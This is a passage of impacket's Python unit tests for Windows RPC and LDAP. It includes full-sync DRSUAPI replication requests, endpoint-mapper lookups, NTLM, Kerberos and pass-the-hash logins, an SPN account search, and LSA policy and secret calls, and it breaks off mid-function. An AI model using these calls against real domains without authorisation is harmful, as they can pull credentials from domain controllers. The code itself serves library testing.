name = 'CN=Schema,CN=Configuration,DC=FREEFLY,DC=NET'
dsName['NameLen'] = len(name)
dsName['StringName'] = (name + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V10']['pNC'] = dsName
request['pmsgIn']['V10']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V10']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V10']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V10']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_PER_SYNC | drsuapi.DRS_WRIT_REP | drsuapi.DRS_FULL_SYNC_NOW
request['pmsgIn']['V10']['cMaxObjects'] = 100
request['pmsgIn']['V10']['cMaxBytes'] = 0
request['pmsgIn']['V10']['ulExtendedOp'] = 0
request['pmsgIn']['V10']['pPartialAttrSet'] = NULL
request['pmsgIn']['V10']['pPartialAttrSetEx1'] = NULL
request['pmsgIn']['V10']['PrefixTableDest']['pPrefixEntry'] = NULL
#request['pmsgIn']['V10']['ulMoreFlags'] = 0
resp = dce.request(request)
print resp['pmsgOut']['V6']['pNC']['StringName']
resp.dump()
print '\n'
self.getMoreData(dce, request, resp)
dsName = drsuapi.DSNAME(isNDR64=request._isNDR64)
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
name = 'DC=FREEFLY,DC=NET'
dsName['NameLen'] = len(name)
dsName['StringName'] = (name + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V10']['pNC'] = dsName
resp = dce.request(request)
print resp['pmsgOut']['V6']['pNC']['StringName']
resp.dump()
print '\n'
self.getMoreData(dce, request, resp)
dsName = drsuapi.DSNAME(isNDR64=request._isNDR64)
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
name = 'CN=Configuration,DC=FREEFLY,DC=NET'
dsName['NameLen'] = len(name)
dsName['StringName'] = (name + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V10']['pNC'] = dsName
resp = dce.request(request)
print resp['pmsgOut']['V6']['pNC']['StringName']
resp.dump()
print '\n'
self.getMoreData(dce, request, resp)
#while resp['pmsgOut']['V6']['fMoreData'] > 0:
# thisObject = resp['pmsgOut']['V6']['pObjects']
# done = False
# while not done:
# nextObject = thisObject['pNextEntInf']
# thisObject['pNextEntInf'] = NULL
# #thisObject.dump()
# #print '\n'
# #print thisObject['Entinf']['pName']['StringName']
# thisObject = nextObject
# if nextObject is '':
# done = True
#
# print "B"*80
# request['pmsgIn']['V10']['uuidInvocIdSrc'] = resp['pmsgOut']['V6']
# request['pmsgIn']['V10']['usnvecFrom'] = resp['pmsgOut']['V6']['usnvecTo']
# resp = dce.request(request)
class SMBTransport(DRSRTests):
def setUp(self):
DRSRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\lsass]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(DRSRTests):
def setUp(self):
DRSRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\lsass]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
class TCPTransport(DRSRTests):
def setUp(self):
DRSRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = epm.hept_map(self.machine, drsuapi.MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class TCPTransport64(DRSRTests):
def setUp(self):
DRSRTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = epm.hept_map(self.machine, drsuapi.MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
#suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport)
#suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64))
#suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_epm.py 0000600 0000765 0000000 00000020254 12734531507 022566 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# Not yet:
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.ndr import NULL
from impacket.uuid import string_to_bin, uuidtup_to_bin
class EPMTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(epm.MSRPC_UUID_PORTMAP, transfer_syntax = self.ts)
return dce, rpctransport
def test_hept_map(self):
MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
resp = epm.hept_map(self.machine,MSRPC_UUID_SAMR)
resp = epm.hept_map(self.machine, MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')
MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))
resp = epm.hept_map(self.machine,MSRPC_UUID_ATSVC)
MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
resp = epm.hept_map(self.machine,MSRPC_UUID_SCMR, protocol = 'ncacn_ip_tcp')
def test_lookup(self):
dce, rpctransport = self.connect()
request = epm.ept_lookup()
request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS
request['object'] = NULL
request['Ifid'] = NULL
request['vers_option'] = epm.RPC_C_VERS_ALL
request['max_ents'] = 499
resp = dce.request(request)
for entry in resp['entries']:
tower = entry['tower']['tower_octet_string']
tower = epm.EPMTower(''.join(tower))
#print tower['Floors'][0]
#print tower['Floors'][1]
def test_hlookup(self):
resp = epm.hept_lookup(self.machine)
#for entry in resp:
# print epm.PrintStringBinding(entry['tower']['Floors'], self.machine)
MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC', '1.0'))
resp = epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_SAMR)
MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B', '1.0'))
resp = epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_ATSVC)
MSRPC_UUID_SCMR = uuidtup_to_bin(('367ABB81-9844-35F1-AD32-98F038001003', '2.0'))
resp = epm.hept_lookup(self.machine, inquiry_type = epm.RPC_C_EP_MATCH_BY_IF, ifId = MSRPC_UUID_SCMR)
def test_map(self):
dce, rpctransport = self.connect()
tower2 = '\x04\x00\x13\x00\r\xac\xbe\x00\xc1:\xd3KJ\xbf#\xbb\xefFc\xd0\x17\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-26b184043749be8892\x00'
tower = epm.EPMTower()
interface = epm.EPMRPCInterface()
interface['InterfaceUUID'] = string_to_bin('12345778-1234-ABCD-EF00-0123456789AC')
interface['MajorVersion'] = 1
interface['MinorVersion'] = 0
dataRep = epm.EPMRPCDataRepresentation()
dataRep['DataRepUuid'] = string_to_bin('8a885d04-1ceb-11c9-9fe8-08002b104860')
dataRep['MajorVersion'] = 2
dataRep['MinorVersion'] = 0
protId = epm.EPMProtocolIdentifier()
protId['ProtIdentifier'] = 0xb
pipeName = epm.EPMPipeName()
pipeName['PipeName'] = '\x00'
portAddr = epm.EPMPortAddr()
portAddr['IpPort'] = 0
hostAddr = epm.EPMHostAddr()
import socket
hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
hostName = epm.EPMHostName()
hostName['HostName'] = '\x00'
tower['NumberOfFloors'] = 5
tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + portAddr.getData() + hostAddr.getData()
#tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + pipeName.getData() + hostName.getData()
request = epm.ept_map()
request['max_towers'] = 4
request['map_tower']['tower_length'] = len(tower)
request['map_tower']['tower_octet_string'] = str(tower)
#request.dumpRaw()
resp = dce.request(request)
resp.dump()
class SMBTransport(EPMTests):
def setUp(self):
EPMTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class TCPTransport(EPMTests):
def setUp(self):
EPMTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(EPMTests):
def setUp(self):
EPMTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\pipe\epmapper]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
class TCPTransport64(EPMTests):
def setUp(self):
EPMTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.stringBinding = r'ncacn_ip_tcp:%s[135]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
#suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport64)
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(TCPTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_ldap.py 0000600 0000765 0000000 00000011351 12734531507 022723 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# FWOpenPolicyStore
#
# Not yet:
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.ldap import ldap, ldapasn1
class LDAPTests(unittest.TestCase):
def dummySearch(self, ldapConnection):
# Let's do a search just to be sure it's working
searchFilter = ldapasn1.Filter()
searchFilter['present'] = ldapasn1.Present('servicePrincipalName')
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName', 'userPrincipalName',
'MemberOf', 'pwdLastSet', 'whenCreated'])
for item in resp:
print item.prettyPrint()
def connect(self):
ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
ldapConnection.login(self.username, self.password)
return ldapConnection
def test_sicily(self):
ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
ldapConnection.login(authenticationChoice='sicilyPackageDiscovery')
def test_sicilyNtlm(self):
ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
ldapConnection.login(user=self.username, password=self.password, domain=self.domain)
self.dummySearch(ldapConnection)
def test_kerberosLogin(self):
ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
ldapConnection.kerberosLogin(self.username, self.password, self.domain)
self.dummySearch(ldapConnection)
def test_kerberosLoginHashes(self):
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
ldapConnection.kerberosLogin(self.username, '', self.domain, lmhash, nthash, '', None, None)
self.dummySearch(ldapConnection)
def test_kerberosLoginKeys(self):
ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
ldapConnection.kerberosLogin(self.username, '', self.domain, '', '', self.aesKey, None, None)
self.dummySearch(ldapConnection)
def test_sicilyNtlmHashes(self):
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
ldapConnection = ldap.LDAPConnection(self.url, self.baseDN)
ldapConnection.login(user=self.username, password=self.password, domain=self.domain, lmhash=lmhash, nthash=nthash )
self.dummySearch(ldapConnection)
def test_search(self):
ldapConnection = self.connect()
self.dummySearch(ldapConnection)
class TCPTransport(LDAPTests):
def setUp(self):
LDAPTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.url = 'ldap://%s' % self.serverName
self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] )
class TCPTransportSSL(LDAPTests):
def setUp(self):
LDAPTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('TCPTransport', 'username')
self.domain = configFile.get('TCPTransport', 'domain')
self.serverName = configFile.get('TCPTransport', 'servername')
self.password = configFile.get('TCPTransport', 'password')
self.machine = configFile.get('TCPTransport', 'machine')
self.hashes = configFile.get('TCPTransport', 'hashes')
self.aesKey = configFile.get('SMBTransport', 'aesKey128')
self.url = 'ldaps://%s' % self.serverName
self.baseDN = 'dc=%s, dc=%s' % (self.domain.split('.')[0],self.domain.split('.')[1] )
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(TCPTransport)
unittest.TextTestRunner(verbosity=1).run(suite) impacket-0.9.15/impacket/testcases/SMB_RPC/test_lsad.py 0000600 0000765 0000000 00000122601 12734531507 022727 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
# LsarOpenPolicy2
# LsarOpenPolicy
# LsarQueryInformationPolicy2
# LsarQueryInformationPolicy
# LsarQueryDomainInformationPolicy
# LsarEnumerateAccounts
# LsarEnumerateAccountsWithUserRight
# LsarEnumerateTrustedDomainsEx
# LsarEnumerateTrustedDomains
# LsarOpenAccount
# LsarClose
# LsarCreateAccount
# LsarDeleteObject
# LsarEnumeratePrivilegesAccount
# LsarGetSystemAccessAccount
# LsarSetSystemAccessAccount
# LsarAddPrivilegesToAccount
# LsarRemovePrivilegesFromAccount
# LsarEnumerateAccountRights
# LsarAddAccountRights
# LsarRemoveAccountRights
# LsarCreateSecret
# LsarOpenSecret
# LsarSetSecret
# LsarQuerySecret
# LsarRetrievePrivateData
# LsarStorePrivateData
# LsarEnumeratePrivileges
# LsarLookupPrivilegeValue
# LsarLookupPrivilegeName
# LsarLookupPrivilegeDisplayName
# LsarQuerySecurityObject
# LsarSetSecurityObject
# LsarQueryForestTrustInformation
# LsarSetInformationPolicy
# LsarSetInformationPolicy2
#
# Not yet:
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport, epm, lsad
from impacket.dcerpc.v5.ndr import NULL
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED, RPC_UNICODE_STRING, DELETE
class LSADTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(lsad.MSRPC_UUID_LSAD, transfer_syntax = self.ts)
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsad.POLICY_CREATE_SECRET | DELETE | lsad.POLICY_VIEW_LOCAL_INFORMATION)
return dce, rpctransport, resp['PolicyHandle']
def test_LsarOpenPolicy(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarOpenPolicy()
request['SystemName'] = NULL
request['ObjectAttributes']['RootDirectory'] = NULL
request['ObjectAttributes']['ObjectName'] = NULL
request['ObjectAttributes']['SecurityDescriptor'] = NULL
request['ObjectAttributes']['SecurityQualityOfService'] = NULL
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
def test_hLsarOpenPolicy(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarOpenPolicy(dce)
resp.dump()
def test_LsarQueryInformationPolicy2(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryInformationPolicy2()
request['PolicyHandle'] = policyHandle
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation
resp = dce.request(request)
resp.dump()
def test_hLsarQueryInformationPolicy2(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation)
resp.dump()
def test_LsarQueryInformationPolicy(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryInformationPolicy()
request['PolicyHandle'] = policyHandle
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt
resp = dce.request(request)
resp.dump()
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation
resp = dce.request(request)
resp.dump()
def test_hLsarQueryInformationPolicy(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditLogInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPdAccountInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLsaServerRoleInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyReplicaSourceInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformation)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyDnsDomainInformationInt)
resp.dump()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyLocalAccountDomainInformation)
resp.dump()
def test_LsarQueryDomainInformationPolicy(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryDomainInformationPolicy()
request['PolicyHandle'] = policyHandle
request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_PARAMETER') < 0:
raise
request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
raise
request['InformationClass'] = lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
raise
def test_hLsarQueryDomainInformationPolicy(self):
dce, rpctransport, policyHandle = self.connect()
try:
resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainQualityOfServiceInformation)
resp.dump()
except Exception, e:
if str(e).find('STATUS_INVALID_PARAMETER') < 0:
raise
try:
resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainEfsInformation)
resp.dump()
except Exception, e:
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
raise
try:
resp = lsad.hLsarQueryDomainInformationPolicy(dce, policyHandle, lsad.POLICY_DOMAIN_INFORMATION_CLASS.PolicyDomainKerberosTicketInformation)
resp.dump()
except Exception, e:
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0:
raise
def test_LsarEnumerateAccounts(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarEnumerateAccounts()
request['PolicyHandle'] = policyHandle
request['PreferedMaximumLength'] = 0xffffffff
resp = dce.request(request)
resp.dump()
#for i in range(resp['EnumerationBuffer']['EntriesRead']):
# print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical()
def test_hLsarEnumerateAccounts(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarEnumerateAccounts(dce, policyHandle)
resp.dump()
#for i in range(resp['EnumerationBuffer']['EntriesRead']):
# print resp['EnumerationBuffer']['Information'][i]['Sid'].formatCanonical()
def test_LsarEnumerateAccountsWithUserRight(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarEnumerateAccountsWithUserRight()
request['PolicyHandle'] = policyHandle
request['UserRight'] = 'SeSystemtimePrivilege'
resp = dce.request(request)
resp.dump()
def test_hLsarEnumerateAccountsWithUserRight(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarEnumerateAccountsWithUserRight(dce,policyHandle, 'SeSystemtimePrivilege')
resp.dump()
def test_LsarEnumerateTrustedDomainsEx(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarEnumerateTrustedDomainsEx()
request['PolicyHandle'] = policyHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 0xffffffff
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
raise
def test_hLsarEnumerateTrustedDomainsEx(self):
dce, rpctransport, policyHandle = self.connect()
try:
resp = lsad.hLsarEnumerateTrustedDomainsEx(dce, policyHandle)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
raise
def test_LsarEnumerateTrustedDomains(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarEnumerateTrustedDomains()
request['PolicyHandle'] = policyHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 0xffffffff
try:
